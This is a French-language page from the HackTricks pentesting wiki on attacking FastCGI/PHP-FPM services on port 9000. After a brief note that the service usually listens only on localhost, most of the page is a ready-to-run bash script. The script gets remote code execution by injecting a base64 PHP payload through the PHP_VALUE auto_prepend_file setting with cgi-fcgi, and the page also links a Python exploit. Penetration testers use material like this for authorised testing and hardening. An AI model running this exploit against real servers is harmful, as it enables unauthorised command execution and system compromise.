hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md
2023-06-03 13:10:46 +00:00

4.5 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

Si vous voulez apprendre ce qu'est FastCGI, consultez la page suivante:

{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %} disable_functions-bypass-php-fpm-fastcgi.md {% endcontent-ref %}

Par défaut, FastCGI s'exécute sur le port 9000 et n'est pas reconnu par nmap. Généralement, FastCGI n'écoute que sur localhost.

RCE

Il est assez facile de faire exécuter du code arbitraire à FastCGI:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

Ou vous pouvez également utiliser le script python suivant: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥